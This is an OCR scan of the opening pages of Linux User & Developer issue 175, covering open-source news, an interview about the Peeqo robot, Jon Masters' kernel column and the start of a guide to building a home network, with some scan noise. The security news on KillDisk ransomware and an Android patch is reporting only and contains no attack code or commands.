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toissue 175 of Linux User & Developer

This issue

» Build the perfect network

» Find & exploit CMS vulnerabilities

» Manage your Ubuntu disks

» Control your Pi with the Amazon Echo

Welcome to the latest issue of Linux User & Developer,
the UK and America’s favourite Linux and open source
magazine. \What’s your perfect network? Maybe it’s small
and high-speed, serving files and media around your house
lightning-fast. Maybe you're responsible for a corporate
network and you want constant uptime, solid security and
easily accessible shared drives. Whatever it is you're after,
we'll show you the essential steps you need to take to build itin our
complete guide on p18.

Also in this issue we take a look at the top 10 system tools you
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will help you troubleshoot issues, optimise performance and get
more from your Linux system. Find it on p54, and load up the free
coverdisc to start using these distros and utilities right now!

Elsewhere we take a look at more things you can do with
OpenWRT (p32), explain how hackers find and exploit CMS
vulnerabilities and what you can do to stop them (p36), walk you
through using Monit to check up on your systems and processes,
continue getting to grips with Erlang (p44), help you to manage
filesystems and disks under Ubuntu (p50), and much more.

Enjoy the issue!

April Madden, Editor

Get in touch with the team:
linuxuser@imagine-publishing.co.uk

- Buy online
Facebook: y . p
£ imagineshop..

Visit us online for more news, opinion, tutorials and reviews:

www.linuxuser.co.uk
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18 Build the perfect network

Your network is good, but it could be better. Here's how...

OpenSource Tutorials

08 News
The biggest stories from
the open source world

12 Interview
Abhishek Singh on the
Peegorobot

16 Kernel column
The latestonthe Linux
kernel with Jon Masters

3 BEST DISTROS + 7 PRO TOOLS

TOP10

1SYSTEM TOOL

FO{ AND PROTECT YOUR SYSTEM WITH THE /
(. ) BEST OPEN SOURCE TOOLS AND DISTROS

~UBUNTU - DEBIAN/
() -OPENSUSE

Features

18 Build the
perfect network
Improve your network now

54 Top 10 system tools
The best distros and FOSS
for Linux pros

32 Run services on OpenWRT
Add applications to your router and provide
network services

36 How to find and exploit CMS
security vulnerabilities
Looking for CMS flaws using automated tools
can help you locate security issues

40 Set up Monit to monitor processes
Learn how toinstall and configure Monit and
use it to manage and monitor processes

44 Program in Erlang: Strings, data

structures and messages
Discover more about Erlang strings, user input,
lists, maps, messages and more

50 Manage disks and filesystems
in Ubuntu
Take a closer look at how to deal with data and
filesystems in Ubuntu

96 Free downloads
Find out what we've uploaded to our
secure repo FileSilo for you this month

USSR

Reviews

86 Verbatim Store ‘n’ Save
Just how fast is this ‘SuperSpeed’
external hard drive?

88 Zorin0S 12

Can Zorinemerge as an Ubuntu-
based frontrunner?

90 Free software
Richard Smedley recommends some
excellent FOSS packages foryou to try

69 Practical Raspberry Pi

Talk toyour Pivia the Amazon Echoand
get it to control lighting, make a doomsday
switch for your data, discover the Scripto
writing tool and take your Pion the road

Join us online for more Linux news, opinion and reviews www.linuxuser.co.uk
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On your free

DVD this issu

Find out what’s on your free disc

Welcome to the Linux User & Developer
DVD. This issue, discover the top 10 system
tools for DevOps, sysadmins and developers.
From speeding up tasks to managing data,
optimising files to monitoring networks,

everything here will streamline your
workflow, enhance your Linux experience,
secure your data or improve your systems.
Troubleshoot, optimise and manage your
system. It’s the ultimate toolkit for Linux pros.

Featured software:

Ubuntu

Ubuntu is one of the world’s most consistently popular

distros, offering one experience across multiple devices.

[t's by far the most widely used Linux distribution
amongst enthusiasts — and with good reason. It's
mature and stable, with LTS (Long Term Supported)
versions and due toits high adoption rate it has a huge
amount of peer-to-peer supportacross the web.

Debian

Debianisaclassic distro that’s popular for use on
servers and desktop PCs. This is the GNOME version.
Debian is one of the oldest and therefore best-
supported versions of Linux available and it’s great for
use on servers. Random fact: Debian distributions are
named after Toy Story characters. Really! The latest
release is Jessie.

openS

™

OpenSUSE

The Tumbleweed distribution is a pure rolling release version of openSUSE containing the latest stable versions of all
software. The platform offers a conventional stable, regular release version ‘Leap’ as well as a rolling version featuring
the latest software, Tumbleweed'. Please note that this distro does not live boot and must be installed.

3 BEST DISTROS + 7 PRO TOOLS

Load DVD

Toaccess software and tutorial
files, simply insert the discinto
your computer and double-click
theicon.

Live boot

To live-boot into the distros
supplied on this disc, insert the
disc into your disc drive and
reboot your computer.

Please note:

« You will need to ensure that
your computer is set up to boot
from disc (press F9 on your
computer’s BIOS screen to
change Boot Options).

« Some computers require
you to press a key to enable
booting from disc — check your
manual or the manufacturer’s
website to find out if this is the
case on your PC.

« Live-booting distros are read
from the disc: they will not be
installed permanently on your
computer unless you choose
todoso.

For best results:

This disc has been optimised
for modern browsers capable of
rendering recent updates to the
HTML and CSS standards. So
to get the best experience we
recommend you use:

« Internet Explorer 8 or higher
« Firefox 3 or higher

« Safari 4 or higher

« Chrome 5 or higher

Problems with
the disc?

Send usan email at linuxuser@
imagine-publishing.co.uk
Please note however that if you
are having problems using the
programs or resources provided,
then please contact the relevant
software companies.




Disclaimer

Importantinformation

‘Weicome 10 the Limux User & Cwveloper DV, Thiy
st iscuver the 103 10 Sy3hem 100K 0t DEVOLS. Check this before installing or
sl i s ok using the disc
maritaniog netwns. everything here wil Forthe purpose of this disclaimer
I 0 P i il statement the phrase ‘this disc’
b, % Dha ALK 10001 for Lisux prot. refersto all software and resources
supplied onthediscaswellas the
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SYSTE M Too LS You must agree tothefollowi ng

terms and conditions before using
this ‘thisdisc™

Loss of data

Inno event will Future Publishing
accept liability or be held
responsible for any damage,
disruption and/or loss to data or
computer systems as a result of
using ‘this disc’. Future Publishing
makes every effort to ensure that
‘this disc’is delivered to you free
fromviruses and spyware. We do
still strongly recommend that you
run avirus checker over ‘this disc’
before use and that you have an up-
to-date backup of your hard drive
before using ‘this disc’.

ooeSUSE |Ubuntu Depy
n

Hyperlinks:

Future Publishing does not accept
any liability for content that may
appearasaresult of visiting
hyperlinks published in ‘this disc’ At
the time of production, all hyperlinks
on ‘thisdisc’ linked to the desired
destination. Future Publishing
cannot guarantee that at the time of
use these hyperlinks direct to that
same intended contentas Future
Publishing has no control over the
contentdelivered on any of

these hyperlinks.

Flus software,

resources, tools &code
THE MAGAZINEFOR % "
THE GNU GENERATION -

Software Licensing
Softwareis licensed under different
terms; please check that you know
which one a program uses before you
installit.

+ Shareware: If you continue to use
the program you should regjster it
with the author

« Freeware: You can use the program
freeof charge

» Trials/Demos: These are either
time-limited or have some

Live boot Distros
Insertthe disc into your computer and
reboot. You will need to make sure that
your computer is set up to boot from disc

FOSS

Distros can be live booted so that you
cantry anew operating system instantly
without making permanent changes to
your computer

functions/features disabled

+ Open source/GPL: Freetouse,
but for more details please visit
https://opensource.org/licenses/
gpl-license

Unless otherwise stated you do not
have permission to duplicate and
distribute ‘this disc’.

Free and open-source software needs to Explore

be installed via the distros or by using the Alternatively you can insertand runthe
discinterface disc to explore the interface and content

www.linuxuser.co.uk 7



OoenSource

08 News & Opinion | 12 Interview | 96 FileSilo

OPEN SOURCE

Renault unveils world’s first

open-source vehicle
The POM is the first mass market vehicle of its kind

The race to create the world’s first open source
vehicle that’s safe enough to drive on the
roads is heating up, and it seems Renault may
just be the first to make the dream areality. In
a recent showcase at CES in Las Vegas, Renault
unveiled its new vehicle, POM. In short, POM is
a new electric vehicle that allows for third-party
companies to access and modify the existing
software within POM and completely change it
to add their own benefits. While it’s particularly
tailored to start-ups, researchers and
laboratories, it’s believed the tech will eventually
be deemed roadworthy in certain countries.

For the project, Renault has partnered with
OSVenhicle, which has taken the reins when it
comes to designing the open-source platform
at the heart of POM. “We are very excited to

We are sure that our
community will benefit
and provide value to the
automotive industry

welcome an auto OEM like Renault into our
open ecosystem,” said Tin Hang and Yuki Liu,
founders of OSVehicle. “We are sure that our
community will benefit and provide value to
the automotive industry, contributing with new
mobility solutions and solving specific needs
with a wider range of connected car and self-
driving technologies. Sharing common hardware
platforms with everyone is a new co-creative
and horizontal approach that can disrupt this
industry, lowering significantly costs and time-
to-market.”

OSVehicle’s platform for POM is completely
modular, giving developers a complete
personalisation package in the vehicle and
the tools needed for them to tinker with the
software in any way they see fit. For some,
it'll mean a new way to experiment with what
electric vehicles can do, while for others
it'll be a showcase of the power of an open-
source automotive project. The possibilities of
OSVehicle really are endless.

Alongside the collaboration with OSVehicle,
Renault has also been working with ARM on

POM is the first open-
source electric vehicle of its kind

several elements of POM. A known leader in
microprocessor technology, the collaboration
will see ARM open up the core software of
POM, explore hardware architecture and allow
for integration with ARM-connected devices.
For end users, this could mean seamless
connection between your smartphone and
POM. “Connected vehicles will enable new
business models that deliver a broad range of
choices and experiences for end users,” said
Richard York, VP of Embedded Marketing. “The
automotive industry will increasingly focus on
the specific functionality that owners want,
such as comfort level and entertainment. By
providing this platform, Renault is paving the
way forinnovation in these areas.”

While the technology is entering the final
stages, at the time of writing, it’s still unknown
when units will be made available to interested
parties and how many units will actually be
produced from the start. From there, it'll be
another significant period of time before POM
ends up in adriveway near you and is made legal
on roads all over the world.
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Google introduces open
source runtime for Go

Open-source Grumpy looks to translate Python code

While Google Go may not be the default
programming language for a large portion
of developers based all over the world, the
latest developments coming from Google
make it a more tempting proposition to get
started with.

In a recent announcement, Google has
introduced a new open source project titled
Grumpy, which will look to translate Python
code into native Go programs.

One of the most startling things about
Google is the amount of Python code used
in the front-end of many of its key apps
and programs. The front-end server for
both YouTube and its API are predominantly
Python-based as opposed to other
implementations. Although Google has
been quick to point out that the project was
initially — started to improve  Python
performance on YouTube, it's been more
widespread to other programs.

“Grumpy is an experimental Python
runtime for Go. It translates Python code into
Go programs, and those transpiled programs
run seamlessly within the Go runtime. We
needed to support a large existing Python

codebase, so it was important to have a high
degree of compatibility with CPython (quirks
and all). The goal is for Grumpy to be a drop-
in replacement runtime for any pure-Python
project,” said YouTube engineer Dylan Trotter.

For end users, it should help bridge the
gap between Go and Python well, with future
developments to help build and expand on
the simplicity of Google’s offering also in the
works. However, Trotter has also been keen
to point out that while Grumpy is now fully
open source, it very much remains in an alpha
stage of development. “Most of the language
constructs and many core built-in types work
like you'd expect, there are still holes to fill -
many built-in types are missing methods and
attributes, built-in functions are absent and
the standard library is virtually empty.”

For those looking to get to grips with
Python, Grumpy could be a highly useful tool
to have in their arsenal both now and in the
future. Those interested in exploring Grumpy
at this early stage can head across to Google’s
official GitHub page where they'll find all
necessary downloads: https://github.com/
google/grumpy.

TOP FIVE

Best Raspberry
Pi alternatives

1 BeagleBone Black

Arguably one of the most well-known boards out
there, the BeagleBone has proven time and time
again to be a low-cost option for both developers
and hobbyists alike. Itincludes all the basic
functions and features needed foran entry level
developer to get started, even boasting the ability
toboot Linuxin less than ten seconds.

2 Banana PiM3

Interms of power, the Banana Pi M3 is hard to
match. Atits core is a monster octa-core processor
working alongside 2GB of RAM. Take a closer look
andyou'll finda LAN port, dual-USB ports and a full
HDMI connection.

3 Intel Edison with Kit
for Arduino

While a little more expensive than some options
here, this Intel-based board is a class act
throughout. As you'd expect, an Intel Atom CPU
takes centre stage with a 32-bit Intel Quark
microcontroller also on board for good measure.

4 \/oCore

With both the hardware and software being
open-source, the VoCore shouldn’t be dismissed.
Its feature set is tailored towards development for
the loT, but it remains no bigger than a coin!

5 CHIP

Aboard smallerthanthe Pi? Yes, that’s C.H.L.P. This

$9 marvelis basicinits feature set, butincludes the
necessities to make ita decent developmentboard. It
includes 4GB of storage, built-in wireless connectivity
and 512MB of RAM.

www.linuxuser.co.uk 9



OpenSource

MALWARE

Your source of Linux news & views

KillDisk malware holding Linux
systems to ransom

Even Linux users can't
getaway fromthe
KillDisk exploit

The malignant KillDisk malware that gained
infamy for attacking Ukraine’s critical
infrastructure in 2016 is back in the spotlight
once again. While recent attacks made by KillDisk
have predominantly been targeting Windows-
based systems, it's now believed the same attacks
are being made against Linux systems.

ESET researchers have discovered some
worrying results of machines infected by the
KillDisk virus. This variant of KillDisk gains
access to machines via Meterpreter backdoors,
before encrypting all files on the machine.

A ransom note is then displayed on the
desktop when the machine is booted, before
making the machine unusable if the ransom
isn't paid. The ransom note is said to be the

The ransom note is said
to be the same each time,
starting with an ironic, ‘we
are so sorry...

ANDROID

Want to pay £210,000 for the return of your data? We thought not.

same each time, starting with an ironic, “we are
so sorry...” before demanding the desktop’s
owner pays an extortionate 222 bitcoins for the
decryption of their files. At the time of writing,
this equates to around £210,000. However,
further research made into the KillDisk variant
has found the attackers are unable to supply
their victims with the necessary decryption keys
needed, making the payment redundant.

While details on how users can protect their
Linux machines are still being worked on, early

reports indicate there is a possible workaround
to help make recovery possible - albeit
incredibly difficult to complete. Those running
a Windows desktop with KillDisk exploit are
limited to their current options as well.

If you suspect your device has been
exploited, it's imperative you don’t pay up,
since there’s no guarantee you'll get your data
back. We'll report on any real fix against KillDisk
when one is made widely available for the Linux
community and beyond.

Latest Android update patches 90 high-level vulnerabilities

While towards the end of 2016 we saw Google
release a number of smaller updates in quick
succession, this hasn't stopped it from
releasing a major update in early 2017. This
security update is particularly important, as
it patches a whopping 90 vulnerabilities and
exploits recently found within the operating
system. Of the exploits being patched, 29 of
them are listed as being critical, with 41 rated
high and the remained ranked as a moderate
security concern.

At the core of the latest patch is a fix for the
much discussed mediaserver component,
which has proved to be an exploitable part
of the OS’ backend. The flaw relates to the
Stagefright media library exploit, which until
now could have been remotely triggered. In its
advisory, Google lists the exploit as: “A remote
code execution vulnerability in mediaserver
could enable an attacker, using a specially
crafted file, to cause memory corruption
during media file and data processing.”

Of the exploits being patched, 29 of them are listed as
being critical, with 41 rated high

Also getting the patch treatment are
numerous wireless Qualcomm components.
In total, 24 different Qualcomm-related
vulnerabilities are being patched in the
update, although the severity of each of
these is unknown as of yet. NVIDIA drivers are
also getting a much needed security boost
in the patch, with a record 12 critical flaws
being found and eradicated. Again, the exact
details on the fixes are sparse at the time
of writing.

Users will find the latest update applied OTA
in the coming weeks, while there are further
security updates planned monthly throughout
the first half of 2017.



RASPBERRY PI

New Pi kit adds
rough-and-tough casing

Vilros’ new kit adds some
protection to your Pi

Despite the Raspberry Pi already grabbing
the attention of more than 10 million users
worldwide, companies are still launching
new starter kits on a daily basis. Aimed at
hooking in new users, these kits give you all
the basics needed to get started in the world
of the Raspberry Pi. One of the best ones
to come out recently is from experienced
tech tinkerers Vilros, which certainly adds
something a bit different into the mix.
At the heart of the starter kit is a
Model B Quad-core Raspberry Pi 3,
sporting both a 1.2GHz processor
and 1GB RAM. Also included is
a Ul-listed 2.5amp USB power
supply, microUSB cable and a noise
filter — with the latter being shaped
to fit discreetly into the Pi. Perhaps the
coolest addition to this kit is the inclusion of
a transparent case, made from reinforced
plastic to help protect the vital components
of the Pi. Port holes have also been crafted
into the casing, allowing for seamless

KERNEL

connection, alongside a crafted mounting slot
and screws for attaching a Pi camera module
that can be purchased separately from the
Vilros site.

While numerous extras are available, the
contents of this kit should kick-start any
budding developer. Kits are available directly
from the vilros.com site for just $49.99.

Linus Torvalds releases giant

Linux 4.9 update

Changes are plentiful in the latest kernel update

It’s always great news when a new kernel
update hits, but even at Linux User HQ we
were surprised to see the enormity of what
the latest 4.9 offers up. “If you look at the
number of lines changed, we've had bigger
releases in the past, but they have tended to
be due to specific issues (v4.2 got a lot of lines
from the AMD GPU register definition files, for
example, and we've had big re-organisations
that caused a lot of lines in the past: v3.2 was
big due to staging, v3.7 had the automated

uapi header file disintegration, etc,” explains
Torvalds on the Linux Kernel Mailing List.

One of the biggest additions in Linux 4.9 is
the direct support for the Raspberry Pi Zero,
alongside another 28 ARM-powered devices.
It's important to note that the support levels

for each device vary. Also introduced is support
for Vmapped stacks, which will help kernel

stack overflows be immediately identified,
while memory protection keys have also been
implemented for better page protection.

DISTRO FEED

» Top 10

(Average hits per day, 15 Dec- 15 Jan)

Linux Mint A 2753
2. Debian 1,707
3. Manjaro A 1677
4. Ubuntu A 1326
5. openSUSE 1,177
6. Fedora 916
7. CentOS 880
8. Zorin A 867
9. Solus A 849
10. Antergos 841

P This month

Stable releases (14)
M In development (6)

Incremental updates

to some of the biggest
distributions have
helped propel them

up the download
leaderboards, while
others have fared less
well at the start of 2017.

» Highlights

Manjaro

Manjaro’s rolling release schedule is

proving to work wonders for driving new
users to check it out. We recently praised its 16.10
release, claiming to be one of the best Arch-based
distributions users should download. You really need
tocheckitout!

MANMARD

Solus
oo . Despitegoingundertheradarlastyear,
Solus is backwithabangin 2017. Its latest
version showcases the speed of the distribution, while
itdoesn't skimp onits features either.

o Fedora

Arguably the biggest surprise this month
isthe slide of Fedora. Despite praise
forits recent 25 update, competition from similar
distributions has propelled it down the list.

fedora

-

Latest distros
available:

filesilo.co.uk
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INTERVIEW ABHISHEK SINGH

Peeqo, the robot that
responds with GlFs

While massive strides have been made in the world of robotics, there’s still a
lot to do when it comes to developing emotions and expressions in robots.
s the Linux-based Peeqo the first robot to bridge the gap?

12

Abhishek Singh

is the brains behind Peeqo, and
arecent graduate of the Tisch
School of Arts. He’s forged a
name for himselfin the world of
Aland robotics, and is looking
to use Peeqo as a showcase for
his skillsand where he sees the
field heading.

Peego seems completely different
n to any robot before, where did the
inspiration for him come from?
| always wanted to build a robot. I've always been
fascinated by them and was always keeping an eye
on what was happeningin the field. The debate
that revolved around the creation of most social
robots was how do you make them relatable
and approachable, and how do you make them
communicate the myriad expressions that we
humans are capable of?

Most robots focused on recreating human
expression by essentially trying to recreate the
human face, often diving headfirst into the uncanny
valley. At the same time, | was fascinated by GIFs
and their ability to communicate information
and emotion and their resurgence as a form of
communication in today’s messaging world.
Something just clicked and a combination of the two
seemed obvious.

The movement of Peeqo seems to be a particular

highlight here, how was the design and build process?
The entire build was complex and almost every
stage was fraught with obstacles. Figuring out the
design itself was perhaps the biggest challenge. It
had to balance the size and form factor | wanted,
allow the movement that was needed for the
expressions, house the components that | could
source and also fit the Disney-character-meets-
robot look that | was going for. Eventually | figured
combining a Stewart platform with a soft fabric
exoskeleton and mounting the head on top of the
platform would fulfil all my requirements. It wasn’t
as easy as it sounds and it took several iterations
and a lot of research to arrive at that conclusion.
Also sourcing the parts was extremely challenging
and | have developed a newfound respect for
sourcing managers in companies. This had to go
hand-in-hand with the design process because the
parts would at times dictate the design and vice



versa. By the end of it, | had ordered parts from over
five countries and ten cities. | also had to learn 3D
modelling along the way. | had never opened a CAD
program before but | knew | would need to simulate
this build entirely on the computer to ensure all the
parts | ordered fit perfectly, the mechanism worked
as expected and the final 3D print came out correct
in the first shot. So it took some experimentation,
but glad to say that the final model was able to
satisfy all the criteria. And of course none of it would
come together without the software that brings him
to life. That’s an entire story in itself.

Peeqo has received a lot of praise online throughout
the Linux community, but for those unfamiliar with it,
what are some of its key features?

Peeqo is a voice-activated robotic desktop assistant
who responds only through GlIFs. | built him for
myself and people like me who spend long hours at
their desk in front of the computer and often need
some little moment of delight and entertainment
to get through the day. You ask him a question and
he’ll respond with a relevant GIF. He has several

www.linuxuser.co.uk
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skills currently and new ones that | am continuously
adding. They are mainly basic greetings, reminders,
notes, weather, music, basic queries etc but he can
also connect to, and control, your smart devices, so
switching on your lights, TV or fridge when you ask
him to. I've also built in a fun productivity module so
you can ask him to keep track of your work and he’ll
express his pleasure or displeasure depending on
how you are doing. It’s been surprisingly effective in
helping me stay off social media and focus on work
when | should be. And obviously adding a new skill is
simply a matter of programming it in.

How does Peeqo ‘listen’ and ‘talk’ with users? Can
itinteract with a variety of commands?

Peego has four custom built microphones that
allow him to hear and he responds by displaying an
appropriate GIF on his screen. He also supplements
this with animated sounds when required and an
LED notification ring on his head to indicate various
states. You activate him by saying his name ‘Peeqo’
followed by your command. He does local detection
of his name before streaming the query to Google
cloud speech to get convert it to text and then uses
natural language processing to derive meaning
from it. This ensures privacy, as he is not really
listening to anything you say until you say his name.

The Raspberry Pi seems to play a fundamental
role in many core features, did it prove vital?

The Raspberry Pi is essentially Peeqo’s brain. | spent
a lot of time researching different credit card sized
computers but the with the release of the Pi 3, it
became the clear winner. The Pi 2 was not going to
work for me, but luckily they released the Pi 3 midway
through my build. Of course the form factor was a
major consideration. It had to be small but also the

14

The power of 3D modelling

While Abhishek has detailed the thorough sketching process he undertook, many of
the core ideas behind Peeqo were brought to life through the use of 3D modelling.
Abhishek’s program of choice for this was Autodesk Fusion 360, which proved to

be the perfect transition from sketch to model. Not only does 3D modelling help to
develop the specifications and sizing of Peeqo, (which were changed several times,
we should add), it also enabled him to experiment with how the movement of the bot
would take place. Abhishek modelled various mechanisms to help give him the six
degrees of movement he needed Peeqo to have, and the benefits of 3D modelling
allowed him to pinpoint the space needed for the other components to fit snugly
into the build. Once the 3D modelling process was complete, it was a simple task to
transfer the file across to a trusty 3D printer. If you're already an Autodesk Fusion 360
owner, you can check out the finished file over at: http:/a360.co/2gFHXNS.



community and documentation around it was a big
plus. It was my first time working with the Pi and the
more documentation, the better, as there was a lot
| needed it to do. The Pi 3 had Wi-Fi inbuilt, which was
needed so that Peeqo could pull GIFs from the internet
and connect to other smart devices. Also, | had maxed
out the four USB slots, so using a Wi-Fi dongle wasn't
possible. The Pi runs the entire application that | wrote
using Electron and through that application performs
all the functions. It communicates with the Arduinos
through i2c to control servos and the LEDs. It gets the
input from the microphone for the speech functions
and outputs the GIFs to the screen and the audio to the
speakers. There’s also a camera, so in future iterations,
Peeqgo will be able to detect faces, all of which will be
handled by the Pi. Currently he uses the camera to take
mini GIF selfies of you. Essentially you can think of him
as an independent, animated computer that can move.

It seems like you learned a lot about developing
with the Raspberry Pi, will you use itagain?

Yes, | think I'll definitely use the Pi again. It can still
be a challenge working with it sometimes. There
are occasions when you need to modify hundreds

I 've also
built in a fun
productivity
module so you
can ask himto
keep track of
your work and
he'll express
his pleasure
or displeasure
depending
on how you're
doing kil

of files to get it to do what you want, but it still
is an extremely versatile little computer and it’s
absolutely perfect for such embedded projects.
I've also begun to enjoy the power and freedom
a Linux system gives, though it can be a struggle
to figure out which file to modify every now and
again. Also, as | mentioned earlier, the Raspberry
Pi has a great community, so with some amount of
Googling and trial and error you can find a solution
to most problems.

What'’s next for you? Are there any other big
projects on the horizon?

I’'m working more on Peego. Now that | have
released all the code and files, | would like to work
on building a small community around him. Lots of
people are interested in building one themselves
so to provide the appropriate resources, support
and documentation along the way will be
important. I've also become extremely interested
in Al and machine learning and would like to
include elements of these in both Peeqgo and some
other projects in the pipeline which | can’t currently
discuss in public.
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The kernel column

Jon Masters summarises the latest happenings in the Linux kernel community

Jon Masters

is a Linux-kernel hacker who has
been working on Linux for some
19years, since he first attended
university at the age of 13. Jon lives
in Cambridge, Massachusetts, and
works for a large enterprise Linux
vendor, where heisdriving the
creation of standards for energy
efficient ARM-powered servers
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Linus Torvalds announced the release
n of the 4.10-rc4 kernel, having closed the
merge window for new development at

the tail end of last year. In the weeks since 4.10-rc1,
relatively few major issues have been discovered, and
this release cycle is already shaping up to be slightly
smaller than the (near record-breaking) previous
one. In his latest mail, Linus noted that this is “the
point where | start hoping the rcs start shrinking”. If
everything continues on track, the final 4.10 release
will happen in time for the next issue, and we will have
a full write-up to accompany it.

Among the new features coming in Linux 4.10 is
a rewrite to how the kernel handles background
writeback, support for Intel's Cache Allocation
Technology (CAT), and a number of improvements in
support for emerging 64-bit ARM servers. Readers
will immediately notice the first of these more so than
the other two since background writeback is what
is happening when your trusty Linux laptop grinds
to a halt after you copy a very large file onto a USB
stick. The system quickly fills the in-memory page
cache with dirty (stale) data representing the file to
be written to the USB stick, and then background
writeback slowly writes this out at the much reduced
speed of the external USB device. Recent efforts to
address this long-standing and highly frustrating
impact to users as the machine stops working should
pay off in a much smoother experience after 4.10.

Intel's Cache Allocation Technology is another
fun addition in the latest kernel. It will allow users of
virtualisation and Linux containers to manage how
the on-chip cache memory resources are used by
applications that otherwise would naturally compete
and potentially interfere with one another. For
example, a classic example is that of two programs
running side by side with one streaming through
memory reading vast chunks and another program
simultaneously performing random reads and writes.
Without the ability to control who can use cache
resources, the streaming program can easily cause
performance impact to the other. Using a technology
such as CAT provides a (relatively simplistic) means to
help reduce interference from competing programs,
containers, or VMs.

Linux 410 also includes a number of
enhancements for emerging 64-bit ARM server

systems. Among these is support for the generic
ACPl-based PCl host bridge driver and associated
quirks of real shipping hardware. This means that,
finally, an upstream Linux kernel will be able to boot
out of the box on most industry-standard ARM server
platforms built over the past few years. The missing
piece of fully functional PCl quirk support meant
that vendors were carrying various fixes in order to
have PCle-attached adapter cards detected and
functioning correctly. But now, as those of us in the
ARM ecosystem like to say, we have taken another
step to making it ‘boring’!

5-Level Paging comes to x86
Contemporary 64-bit Intel x86 (more formally known
in specifications as Intel 64 architecture) systems
support up to 48 bits of linear address space,
otherwise known as the amount of addressable
virtual memory for a given running process. Running
programs (known as processes, or even more formally
as tasks to kernel folk) use virtual addresses: the
memory locations of data, code, and pointers to
these used by programs are not the actual physical
memory locations in the memory chips. Instead, they
are virtual locations that are translated by underlying
hardware each time a memory access occurs. This
virtual memory abstraction exists in order to allow
each program the illusion of having all of system
memory to itself — it doesn’t have to worry about how
memory used by other unrelated programs might be
positioned physically relative to its own.

Operating systems such as Linux manage the
translation of virtual to physical memory addresses
using a concept known as paging, using page tables
to progressively translate chunks of a virtual (linear)
address into its physical location. Rather than
simply having a giant lookup table (this memory
location maps to this one), which would consume a
huge amount of overhead, page tables divide up the
physical and virtual address spaces into pages of 4KB
(in the case of Intel; this can be 16KB, 64KB, or even
larger on other architectures). The tables are cleverly
designed to use multiple levels, so that regions of
virtual memory that aren’t populated don’t need to
consume memory overhead in the page table.

Like many other architectures, Intel's have evolved
with the passage of time, growing up from more



humble beginnings and growing support for a large
64-bit address space over time. When the first 64-bit
x86 chips became available, Intel (and AMD) wisely
prepared for a future in which very large amounts
of memory may be used by applications, but they
also chose not to burden the operating system
with the overhead of having to track a full 64 bits of
address space for every application, which would
possibly lead to many unnecessary levels in the
page table structures. Instead, Intel has the notion
of a ‘canonical’ address (not to be confused with the
makers of Ubuntu), which means a memory address
beginning with all ones or all zeros (technically this is
referred to as ‘sign extended).

For many years, canonical addresses with 48 bits
extended up to 64 used four levels of page tables.
With the advent of hardware support for 57 bits of
linear address (la57’), Intel extended the page table
format up to five levels and began posting patches
to the kernel, KVM, QEMU and elsewhere for the
enablement of potential future hardware platforms.
This move will allow for physical memory limits to
rise from the current 64TB maximum to 4PB, and
for virtual memory to rise from 256TB to 128PB.
Paraphrasing the old Bill Gates joke, Kirill A Shutemov
notes in the patches that this “ought to be enough
for anybody”. The initial patches aren't without
downsides, including a lack of boot time support to
handle both 48- and 57-bit options (meaning that
a special kernel is currently required for 57-bit).
Readers interested in far more detail about this topic
should consult the excellent white paper on the topic
at: http:/intel.ly/2h1jNQk.

Ongoing development

Jason A Donenfeld posted the fifth version of a
patch series implementing support for the ‘siphash’
cryptographically secure Pseudorandom Function
Family (PRF). A PRF is used to generate high-quality
random data, primarily for use in hashing functions.
Hash functions are frequently used within the Linux
kernel to map many possible input data values onto
a much smaller and finite set of data structures, in
particular within the network stack. To avoid hash
collisions (in which several data items hash to the
same entry), high-quality functions will attempt to

distribute the hashes well. This is important not only
for performance, but also because in some cases
hash collisions can be leveraged to reduce system
security. So-called hashtable poisoning allows an
attacker to potentially control the state of certain in-
kernel hash tables by causing many deliberate hash
collisions. This may reduce system performance or
even lead to denial of service in some cases.

Unlike a regular Random Number Generator
(RNG), which only guarantees that a single generated
value will appear to be random, a PRF comes with
certain guarantees against hash function collisions
since all output values are randomly distributed in a
cryptographically secure fashion. Jason’s patches
seek to first implement support for siphash and then
to migrate various in-kernel users of MD5 hashes
over to siphash. Those users include code-generating
network sequence numbers (which if easily guessed
can lead to easy Denial of Service attacks against
existing network connections by third parties across
the internet), or even for faster random numbers (The
traditional kernel random number generator is limited
to producing new values only every so often, based
upon available sources of entropy).

Finally this month, Jiri Kosina posted a patch
entitled ‘HID: ignore Petzl USB headlamp’ in which
he notes that these headlamps pretend to be USB
mice when plugged in, but don’t actually work. It
doesn’t take much imagination to see a frustrated
Jiri deciding to patch around an annoying experience
every time he tries to charge his headlamp. This is
the fun side of kernel folks buying and using everyday
devices, and finding problems such as these. ll
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BUILD
THE PERFECT

ETWO

You network is good, but it could be
better. All it takes is planning and some
dedicated hardware

18



What devices are running on your network?
A PC? Perhaps a main computer, couple of
tablets and a printer?

Whatever the case, it's probably pretty
simplistic. This isn't a bad thing, but often
there is a case for making things more
robust, and this often means some added
complexity. While this might scare some
people away, prompting them to pencil it
down for ‘the next time | have a week off’, in
truth it really shouldn’t be a massive job.

All you really need is a good plan and
reliable hardware.

Various tools are available for designing a
network topology, and once you've identified
any hardware you need (eg a router, hardware
firewall and NAS box), you'll need to consider

the DNS and port forwarding, and ensure
basic networking services are running.

Perhaps you'll also need to configure an
IP addressing system for your network —
and, once this is in place, a network storage
device. This might be a NAS (network-
attached storage) box for storing media
across a home network, or a shared storage
solution in a small-to-medium business.
Such storage will require secure credentials
and permissions, managed by a system
administrator, as well as a backup routine in
the event of hardware failure.

While potentially complex for beginners,
reading the next few pages should give you all
you need to implement a new network in just a
few hours.

-

~?'r. H

ESSENTIAL
EQUIPMENT

ROUTER

Whether this is amodem/router or a standard
router, you'll need this to ensure data is routed
to the correct destination within your network or
externally to the internet.

NAS
Network-attached
storage is basically
alow-level network
storage device, ideal
for serving media files
acrossa network oras
arepository for office
files and other projects.

SWITCH

While a router connects networks, a switch (or MAC
bridge) creates them. Switches essentially enable
networked devices to communicate efficiently,
forwarding data packets to the appropriate
destination on the network.

HARDWARE FIREWALL

Rather than running a software firewall on your
network’s servers and PCs (or in addition to one),
you could rely on adedicated hardware firewall for
controlling access to your network.

Ruidge evice Sntignl

Hatign A
"1 on LANZ

a0 LAN |

LAN 1 LANZ

BRIDGE

Anetwork bridge does what you might expect
—bridges two networks together. They can prove
usefulin connecting two networks in adjoining
buildings, for example.
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DESIGN THE TOPOLOGY

BLUETOOTH
CONNECTIVITY

Itis easy to make your
network diagrams
overcomplicated.
Bluetooth devices

can often resultin this
sort of muddying of
the water. Keyboards,
mice and other input
devices (speakers and
headsets, etc) might
allappear. But so

too might Bluetooth
printers. Keeping your
diagrams tidy might
not be realistic, but it’s
agood ideato limitany
topology illustrations
to devices thatare
accessible to multiple
